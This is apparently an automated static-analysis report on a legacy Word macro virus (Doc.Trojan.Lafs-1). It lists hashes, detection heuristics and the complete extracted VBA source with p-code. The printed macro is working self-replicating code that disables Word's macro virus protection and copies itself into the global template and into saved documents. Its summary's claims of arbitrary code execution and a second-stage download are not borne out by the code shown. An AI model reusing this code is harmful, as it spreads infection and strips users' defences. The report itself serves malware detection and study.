Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e9489a8a8ba83ae7…

MALICIOUS

Office (OLE)

36.0 KB Created: 2000-03-27 13:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e9f7e1b8eabef42223b92e2dff2176a9 SHA-1: 9a5b71063835895f9d8177e454d42e4f5c9a360d SHA-256: e9489a8a8ba83ae70ad7b7d28cbfd29526f4a4f6c6d8995097ead8d0e3a4b8b8
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample exhibits characteristics of a legacy WordBasic macro virus, specifically triggering heuristics for legacy macros and AutoOpen/AutoClose functions. The 'lafs' VBA module contains an 'Autoopen' subroutine that calls an 'exec' subroutine, which is designed to execute arbitrary code. While the exact payload is not directly visible, the presence of these macros strongly suggests an intent to download and execute a secondary stage. The ClamAV detection 'Doc.Trojan.Lafs-1' further supports its malicious nature.

Heuristics 6

  • ClamAV: Doc.Trojan.Lafs-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Lafs-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub Autoopen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub Autoclose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5109 bytes
SHA-256: ce43cd63c1361841c1669c53d68df017cc18943a0a725e99e06ffe13b91dad3b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "lafs"
Sub Autoopen()
On Error GoTo abort
Options.VirusProtection = False
exec

sFn$ = WordBasic.[FileName$]()
sMn$ = sFn$ + ":dd"
WordBasic.MacroCopy sMn$, "Global:lafs"

abort:
End Sub
Sub Autoclose()
On Error GoTo quit
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs dlg
If dlg.Format = 0 Then dlg.Format = 1
sFn$ = WordBasic.[FileName$]()
sMn$ = sFn$ + ":dd"
WordBasic.MacroCopy "Global:lafs", sMn$

WordBasic.FileSaveAs dlg
GoTo Done
quit:
If Err.Number <> 102 Then
    WordBasic.FileSaveAs dlg
End If
Done:
End Sub

Sub ToolsMacro()
End Sub


Sub ViewVbCode()

End Sub

Sub FileTemplates()

End Sub
Sub exec()

tgl$ = Day(Now())
bln$ = Month(Now())
If tgl$ = 14 And bln$ = 6 Then
With Assistant.NewBalloon
    .Heading = "Happy Birthday"
    .Text = "Selamat Ulang Tahun sayang semoga panjang umur dan tuhan menyertaimu."
    .Icon = msoIconTip
    .Show
End With
End If
If tgl$ = 6 And bln$ = 11 Then
T$ = Chr(13) + " Love at First Sight" + Chr(13)
T$ = T$ + Chr(13) + " Patas AC 19 "
T$ = T$ + Chr(13) + "6 November 1997 "

WordBasic.FormatFont Font:="Arial", Points:=10
WordBasic.Insert T$
End If

End Sub

' Processing file: /tmp/qstore_qbrmnt2m
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/lafs - 3489 bytes
' Line #0:
' 	FuncDefn (Sub Autoopen())
' Line #1:
' 	OnError abort 
' Line #2:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #3:
' 	ArgsCall exec 0x0000 
' Line #4:
' Line #5:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sFn$ 
' Line #6:
' 	Ld sFn$ 
' 	LitStr 0x0003 ":dd"
' 	Add 
' 	St sMn$ 
' Line #7:
' 	Ld sMn$ 
' 	LitStr 0x000B "Global:lafs"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #8:
' Line #9:
' 	Label abort 
' Line #10:
' 	EndSub 
' Line #11:
' 	FuncDefn (Sub Autoclose())
' Line #12:
' 	OnError quit 
' Line #13:
' 	Dim 
' 	VarDefn dlg (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set dlg 
' Line #14:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #15:
' 	Ld dlg 
' 	MemLd Format$ 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	Ld dlg 
' 	MemSt Format$ 
' 	EndIf 
' Line #16:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sFn$ 
' Line #17:
' 	Ld sFn$ 
' 	LitStr 0x0003 ":dd"
' 	Add 
' 	St sMn$ 
' Line #18:
' 	LitStr 0x000B "Global:lafs"
' 	Ld sMn$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #19:
' Line #20:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #21:
' 	GoTo Done 
' Line #22:
' 	Label quit 
' Line #23:
' 	Ld Err 
' 	MemLd Number 
' 	LitDI2 0x0066 
' 	Ne 
' 	IfBlock 
' Line #24:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #25:
' 	EndIfBlock 
' Line #26:
' 	Label Done 
' Line #27:
' 	EndSub 
' Line #28:
' Line #29:
' 	FuncDefn (Sub ToolsMacro())
' Line #30:
' 	EndSub 
' Line #31:
' Line #32:
' Line #33:
' 	FuncDefn (Sub ViewVbCode())
' Line #34:
' Line #35:
' 	EndSub 
' Line #36:
' Line #37:
' 	FuncDefn (Sub FileTemplates())
' Line #38:
' Line #39:
' 	EndSub 
' Line #40:
' 	FuncDefn (Sub exec())
' Line #41:
' Line #42:
' 	ArgsLd Now 0x0000 
' 	ArgsLd Day 0x0001 
' 	St tgl$ 
' Line #43:
' 	ArgsLd Now 0x0000 
' 	ArgsLd Month 0x0001 
' 	St bln$ 
' Line #44:
' 	Ld tgl$ 
' 	LitDI2 0x000E 
' 	Eq 
' 	Ld bln$ 
' 	LitDI2 0x0006 
' 	Eq 
' 	And 
' 	IfBlock 
' Line #45:
' 	StartWithExpr 
' 	Ld Assistant 
' 	MemLd NewBalloon 
' 	With 
' Line #46:
' 	LitStr 0x000E "Happy Birthday"
' 	MemStWith Heading 
' Line #47:
' 	LitStr 0x0045 "Selamat Ulang Tahun sayang semoga panjang umur dan tuhan menyertaimu."
' 	MemStWith Then 
' Line #48:
' 	Ld msoIconTip 
' 	MemStWith Icon 
' Line #49:
' 	ArgsMemCallWith Show 0x0000 
' Line #50:
' 	EndWith 
' Line #51:
' 	EndIfBlock 
' Line #52:
' 	Ld tgl$ 
' 	LitDI2 0x0006 
' 	Eq 
' 	Ld bln$ 
' 	LitDI2 0x000B 
' 	Eq 
' 	And 
' 	IfBlock 
' Line #53:
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	LitStr 0x0014 " Love at First Sight"
' 	Add 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	St T$ 
' Line #54:
' 	Ld T$ 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitStr 0x000D " Patas AC 19 "
' 	Add 
' 	St T$ 
' Line #55:
' 	Ld T$ 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitStr 0x0010 "6 November 1997 "
' 	Add 
' 	St T$ 
' Line #56:
' Line #57:
' 	LitStr 0x0005 "Arial"
' 	ParamNamed Font 
' 	LitDI2 0x000A 
' 	ParamNamed Points 
' 	Ld WordBasic 
' 	ArgsMemCall FormatFont 0x0002 
' Line #58:
' 	Ld T$ 
' 	Ld WordBasic 
' 	ArgsMemCall Insert 0x0001 
' Line #59:
' 	EndIfBlock 
' Line #60:
' Line #61:
' 	EndSub